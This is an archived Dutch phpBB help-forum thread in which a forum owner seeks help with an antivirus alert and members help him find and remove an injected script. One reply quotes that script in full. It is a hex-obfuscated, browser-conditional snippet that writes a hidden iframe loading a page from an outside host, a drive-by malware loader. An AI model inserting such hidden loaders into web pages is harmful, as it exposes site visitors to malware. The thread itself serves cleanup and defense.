Virus identified JS/Downloader.Agent

Hulp nodig bij je installatie of kom je ergens niet uit? Probeer phpBB3! Problemen lossen we samen met je op.
phpBB 3.0 is End of support per 1 januari 2017. Dit forum is hier enkel ter archief. Het wordt aangeraden te upgraden naar phpBB 3.2
Forumregels
phpBB 3.0 is End of support per 1 januari 2017. Dit forum is hier enkel ter archief. Het wordt aangeraden te upgraden naar phpBB 3.2
Gesloten
xXiNiXx
Berichten: 4
Lid geworden op: 02 nov 2008, 17:19

Virus identified JS/Downloader.Agent

Bericht door xXiNiXx » 03 nov 2008, 11:21

  • Adres van je forum: http://forum.bck-clan.nl
    Event. modificaties op je forum: aangepaste template en thema
    Wanneer ontstond het probleem? paar dagen geleden
    phpBB versie: 3.0.2

    Heb je onlangs iets veranderd aan je forum? niet speciaal, tekst van templates aangepast en een paar afbeeldingen aangepast
    Wat is het probleem?
Telkens ik naar het forum surf, krijg ik volgende melding van AVG:
Afbeelding

Heal, move to vault of ignore doen eigenlijk niets.

Ik weet niet goed wat ik moet doen? Als ik de cache clear, heb ik de melding voor even niet. Maar een paar uur/dagen later krijg ik de melding terug. Iemand enig idee hoe ik dit kan oplossen?

Gebruikersavatar
Bee
Berichten: 13403
Lid geworden op: 29 aug 2004, 10:30

Re: Virus identified JS/Downloader.Agent

Bericht door Bee » 03 nov 2008, 11:39

Verwijder dit eens uit overall_header.html

Code: Selecteer alles

<script> var s='3C696672616D65207372633D22687474703A2F2F6E756469737465656E732E636F6D2F732F7A2F7374617469632E70687022206865696768743D223222207374796C653D22646973706C61793A6E6F6E65222077696474683D2232223E3C2F696672616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37);  o=o+c+s.substr(i,2);} var v=navigator.userAgent.toLowerCase(); if (v.indexOf('msie') != -1 && v.indexOf('nt 6.') == -1){document.write(unescape(o));}</script>   
... Maar ik modereer (nog) niet.

xXiNiXx
Berichten: 4
Lid geworden op: 02 nov 2008, 17:19

Re: Virus identified JS/Downloader.Agent

Bericht door xXiNiXx » 03 nov 2008, 13:39

Ik heb de overall_header.html doorzocht, maar ik vind het niet terug. Ik had verwacht die script tussen einde head en begin body terug te vinden. Die scriptcode moet er op een andere manier ingeraakt zijn...

Dit is de overall_header.html:

Code: Selecteer alles

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="{S_CONTENT_DIRECTION}" lang="{S_USER_LANG}" xml:lang="{S_USER_LANG}">
<head>

<meta http-equiv="content-type" content="text/html; charset={S_CONTENT_ENCODING}" />
<meta http-equiv="content-language" content="{S_USER_LANG}" />
<meta http-equiv="content-style-type" content="text/css" />
<meta http-equiv="imagetoolbar" content="no" />
<meta name="resource-type" content="document" />
<meta name="distribution" content="global" />
<meta name="copyright" content="2000, 2002, 2005, 2007 phpBB Group" />
<meta name="keywords" content="" />
<meta name="description" content="" />
{META}
<title>{SITENAME} &bull; <!-- IF S_IN_MCP -->{L_MCP} &bull; <!-- ELSEIF S_IN_UCP -->{L_UCP} &bull; <!-- ENDIF -->{PAGE_TITLE}</title>

<link rel="stylesheet" href="{T_STYLESHEET_LINK}" type="text/css" />
<script type="text/javascript">
// <![CDATA[
<!-- IF S_USER_PM_POPUP -->
	if ({S_NEW_PM})
	{
		popup('{UA_POPUP_PM}', 400, 225, '_phpbbprivmsg');
	}
<!-- ENDIF -->

function popup(url, width, height, name)
{
	if (!name)
	{
		name = '_popup';
	}

	window.open(url.replace(/&/g, '&'), name, 'height=' + height + ',resizable=yes,scrollbars=yes,width=' + width);
	return false;
}

function jumpto()
{
	var page = prompt('{LA_JUMP_PAGE}:', '{ON_PAGE}');
	var perpage = '{PER_PAGE}';
	var base_url = '{A_BASE_URL}';

	if (page !== null && !isNaN(page) && page > 0)
	{
		document.location.href = base_url.replace(/&/g, '&') + '&start=' + ((page - 1) * perpage);
	}
}

/**
* Find a member
*/
function find_username(url)
{
	popup(url, 760, 570, '_usersearch');
	return false;
}

/**
* Mark/unmark checklist
* id = ID of parent container, name = name prefix, state = state [true/false]
*/
function marklist(id, name, state)
{
	var parent = document.getElementById(id);
	if (!parent)
	{
		eval('parent = document.' + id);
	}

	if (!parent)
	{
		return;
	}

	var rb = parent.getElementsByTagName('input');

	for (var r = 0; r < rb.length; r++)
	{
		if (rb[r].name.substr(0, name.length) == name)
		{
			rb[r].checked = state;
		}
	}
}

<!-- IF ._file -->

	/**
	* Play quicktime file by determining it's width/height
	* from the displayed rectangle area
	*
	* Only defined if there is a file block present.
	*/
	function play_qt_file(obj)
	{
		var rectangle = obj.GetRectangle();

		if (rectangle)
		{
			rectangle = rectangle.split(',')
			var x1 = parseInt(rectangle[0]);
			var x2 = parseInt(rectangle[2]);
			var y1 = parseInt(rectangle[1]);
			var y2 = parseInt(rectangle[3]);

			var width = (x1 < 0) ? (x1 * -1) + x2 : x2 - x1;
			var height = (y1 < 0) ? (y1 * -1) + y2 : y2 - y1;
		}
		else
		{
			var width = 200;
			var height = 0;
		}

		obj.width = width;
		obj.height = height + 16;

		obj.SetControllerVisible(true);

		obj.Play();
	}
<!-- ENDIF -->

// ]]>
</script>
<link href="{T_THEME_PATH}/web/style.css" rel="stylesheet" type="text/css" media="screen, projection" />
</head>
<body class="{S_CONTENT_DIRECTION}">
<div class="outside">
<div class="top-left"></div><div class="top-center"></div><div class="top-right"></div>
<div class="inside">
<div class="notopgap">
<a name="top"></a>

<div id="wrapheader">
<div id="logodesc">
	<div id="logo">
	</div>
</div>
<br />
	<table class="tablebg" cellspacing="1" width="100%">
<tr>
<td class="row1" height="60px" width="73%">
			<p class="breadcrumbs">
			<a href="http://www.bck-clan.nl"><strong><img src="{T_IMAGESET_PATH}/folder.gif"></img>Terug naar bck-clan.nl</strong></a>
			</p>
			<br/>
			<br/>
			<p class="breadcrumbs"><a href="{U_INDEX}"><strong><img src="{T_IMAGESET_PATH}/folder.gif"></img>{L_INDEX}</strong></a>
<!-- BEGIN navlinks --> &#187; <strong><strong></strong>&nbsp;<a href="{navlinks.U_VIEW_FORUM}">{navlinks.FORUM_NAME}</a><!-- END navlinks -->
<br /><!-- IF TOPIC_TITLE --><!-- IF U_VIEW_TOPIC --><img src="{T_IMAGESET_PATH}/folder2.gif"></img><a class="topictitle" href="{U_VIEW_TOPIC}">{TOPIC_TITLE}</a><!-- ENDIF --><!-- ENDIF --></p>
<div align="center"> <p><!-- IF U_RESTORE_PERMISSIONS --> &nbsp;<a href="{U_RESTORE_PERMISSIONS}">{L_RESTORE_PERMISSIONS}</a><!-- ENDIF -->
				<!-- IF S_BOARD_DISABLED and S_USER_LOGGED_IN --> &nbsp;<span style="color: red;">{L_BOARD_DISABLED}</span><!-- ENDIF --></p></div>
			</td>
<td class="row2" height="60px" width="27%"><!-- IF not S_USER_LOGGED_IN --><!-- IF SCRIPT_NAME == 'index' -->
<form method="post" action="{S_LOGIN_ACTION}">
<table width="100%" cellspacing="0">
<tr>
<td width="50%"><span class="genmed">{L_USERNAME}:</span><br /><span class="genmed">{L_PASSWORD}:</span></td>
	<td width="50%"><input class="post" type="text" name="username" size="10" /><br /><input class="post" type="password" name="password" size="10" /></td>


		<td width="50%"  nowrap="nowrap"> <!-- IF S_AUTOLOGIN_ENABLED --><span class="genmed">Remember me</span> <input type="checkbox" checked="true" class="radio" name="autologin" /><!-- ENDIF --><br /><input type="submit" class="btnmain" name="login" value="{L_LOGIN}" />
 </td></tr>
</table>
	{S_FORM_TOKEN}
	</form>
<!-- ELSE -->
<table width="100%" cellspacing="0">
<tr>
&nbsp;
</tr>
</table>
<!-- ENDIF -->
<!-- ENDIF -->
<table width="100%" cellspacing="0">
<tr>
<td class="genmed">
<!-- IF not S_IS_BOT -->
<!-- IF S_USER_LOGGED_IN -->
<strong>Hi,&nbsp;{S_USERNAME}</strong><br />
{LAST_VISIT_DATE}<br />
<!-- IF S_DISPLAY_PM --><a href="{U_PRIVATEMSGS}">{L_PRIVATE_MESSAGES}:</a>&nbsp;{PRIVATE_MESSAGE_INFO}<!-- ENDIF -->
<!-- IF PRIVATE_MESSAGE_INFO_UNREAD -->&nbsp;{PRIVATE_MESSAGE_INFO_UNREAD}<!-- ENDIF --><!-- ENDIF --><!-- ENDIF --></td></tr></table>
</td></tr>
</table>
	<div id="menubar" colspan="2">
		<table width="100%" cellspacing="0">
		<tr>
			<td align="center">
				<!-- IF U_RESTORE_PERMISSIONS --><a href="{U_RESTORE_PERMISSIONS}" class="menubar">{L_RESTORE_PERMISSIONS}</a> &nbsp;<!-- ENDIF -->
                <!-- IF not S_USER_LOGGED_IN -->
		    <!-- IF not S_USER_LOGGED_IN and S_REGISTER_ENABLED -->   <a href="{U_REGISTER}" class="menubar"><strong>{L_REGISTER}</strong></a><!-- ENDIF -->
<!-- IF S_DISPLAY_SEARCH --><a href="{U_SEARCH}" class="menubar"><strong>{L_SEARCH}</strong></a><!-- ENDIF -->
<!-- IF not S_IS_BOT --><td class="row5" align="right"><a align="" href="{U_LOGIN_LOGOUT}" class="menubar"><strong>{L_LOGIN}</strong></td><!-- ENDIF -->
<!-- ENDIF -->

<!-- IF S_USER_LOGGED_IN -->
	 <a href="{U_PROFILE}" class="menubar"><strong>{L_PROFILE}</strong></a>
     <a href="{U_SEARCH}" class="menubar"><strong>{L_SEARCH}</strong></a>
	 <a href="{U_FAQ}" class="menubar"><strong>{L_FAQ}</strong></a>
	 <a href="{U_SEARCH_NEW}" class="menubar"><strong>{L_SEARCH_NEW}</strong></a>
	 <a href="{U_SEARCH_SELF}" class="menubar"><strong>{L_SEARCH_SELF}</strong></a>
	 <a href="{U_SEARCH_UNANSWERED}" class="menubar"><strong>{L_SEARCH_UNANSWERED}</strong></a>
	 <a href="{U_SEARCH_ACTIVE_TOPICS}" class="menubar"><strong>{L_SEARCH_ACTIVE_TOPICS}</strong></a>
  <!-- IF not S_IS_BOT -->
  <td class="row5" align="right"><a align="" href="{U_LOGIN_LOGOUT}" class="menubar"><strong>{L_LOGOUT}</strong></td>
  <!-- ENDIF -->
<!-- ENDIF -->

            </td>
		</tr>
		</table>
	</div>
</div>
<div id="wrapcentre">
		<br style="clear: both;" />
Bedankt voor je hulp...

Gebruikersavatar
Kevin
Berichten: 1684
Lid geworden op: 06 nov 2007, 17:22
Locatie: Brabants schoon
Contacteer:

Re: Virus identified JS/Downloader.Agent

Bericht door Kevin » 03 nov 2008, 13:45

Kijk voor de gein is in je index_body.html :roll:

Als ik de broncode van je index.php kijk zie ik het weldegelijk staan.
Afbeelding
ForumHulp.nl kan u helpen met: Technisch onderhoud, Extensies installaties/aanpassingen en Webdesign.

Teammember op Afbeelding phpBBservice.nl Afbeelding , Winnaar in de phpBB awards 2009, 2010 en 2012 met AquaforA

xXiNiXx
Berichten: 4
Lid geworden op: 02 nov 2008, 17:19

Re: Virus identified JS/Downloader.Agent

Bericht door xXiNiXx » 03 nov 2008, 13:57

Index_body.html doet enkel een include van overall_header.html.

Nu als ik overall_header.html opende in de template editor van PHPBB, dan werd de tekst onmiddelijk rood. Bij het openen van de template heeft hij dus iets aangepast. Ik heb toen de template nog eens opgeslagen, nu verschijnt de melding niet meer als ik naar het forum ga en ook niet in de bron-code.

Probleem is voorlopig opgelost, ik volg het de volgende dagen even op en laat jullie weten of het probleem nog voorkomt.

Bedankt
xinix
Dubbelpost samengevoegd
- Bee
Er is een ander probleem naar boven gekomen:

Als ik nu naar het forum surf, krijg ik een blanco pagina te zien. Echter als ik de cache folder van het forum leegmaak, werkt het forum terug voor enkele minuten.

Iemand een idee?
Niet dubbelposten binnen 24 uur.
- Bee

Divigo
Berichten: 274
Lid geworden op: 02 mar 2008, 18:05

Re: Virus identified JS/Downloader.Agent

Bericht door Divigo » 03 nov 2008, 18:12

Volgens mij is er hier op het forum al een keer eerder een melding geweest van dit virus.
Ik heb ernaar gezocht maar kan het topic niet meer vinden.
Als ik het me goed herinner stond het bij hem vermeld in zijn database.

Schiet me niet neer als ik het fout heb hoor.

Gr Dennis

Mid
Berichten: 961
Lid geworden op: 03 mei 2008, 23:22

Re: Virus identified JS/Downloader.Agent

Bericht door Mid » 03 nov 2008, 19:08

Als je geen modificaties hebt geïnstalleerd, dan zou je alle bestanden kunnen overschrijven met de bestanden uit een verse download. En daarna je PC opschonen met AVG.

Gesloten